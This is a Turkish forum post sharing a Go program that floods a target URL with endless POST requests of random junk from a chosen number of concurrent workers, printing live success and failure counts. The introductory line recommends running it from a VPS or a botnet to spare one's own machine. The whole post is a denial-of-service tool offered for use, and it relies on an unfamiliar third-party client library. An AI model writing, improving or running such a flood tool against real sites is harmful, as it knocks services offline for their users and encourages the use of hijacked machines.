NOT:Bu Toolu Vdsinizde Veya Botnetinizde Çalıştırın Kendi Bilgisayarınızdan Çalıştırırsanız Bilgisayarınıza Ve İnternetinizi Çok Zorlayacaktır!!!!
Kod:
package main
import (
"bytes"
"context"
"fmt"
"math/rand"
"os"
"strconv"
"sync"
"sync/atomic"
"time"
"github.com/gohax/go-client"
"github.com/gohax/go-client/client"
)
var success uint64
var failures uint64
func attack(ctx context.Context, target string, wg *sync.WaitGroup) {
defer wg.Done()
c, err := client.NewClient()
if err != nil {
return
}
junk := make([]byte, 512)
rand.Read(junk)
for {
select {
case <-ctx.Done():
return
default:
req, err := c.NewRequest("POST", target, bytes.NewBuffer(junk))
if err != nil {
atomic.AddUint64(&failures, 1)
continue
}
resp, err := c.Do(req)
if err != nil {
atomic.AddUint64(&failures, 1)
continue
}
resp.Body.Close()
if resp.StatusCode >= 200 && resp.StatusCode < 300 {
atomic.AddUint64(&success, 1)
} else {
atomic.AddUint64(&failures, 1)
}
}
}
}
func main() {
if len(os.Args) != 3 {
fmt.Printf("Kullanim: go run %s <url> <workers>\n", os.Args[0])
return
}
target := os.Args[1]
workers, _ := strconv.Atoi(os.Args[2])
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
var wg sync.WaitGroup
fmt.Printf("[+] Saldiri baslatildi -> Hedef: %s | Guc: %d worker\n", target, workers)
for i := 0; i < workers; i++ {
wg.Add(1)
go attack(ctx, target, &wg)
}
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for range ticker.C {
fmt.Printf("\r--> Basarili: %-7d | Basarisiz: %-5d", atomic.LoadUint64(&success), atomic.LoadUint64(&failures))
}
wg.Wait()
}
Son düzenleme:


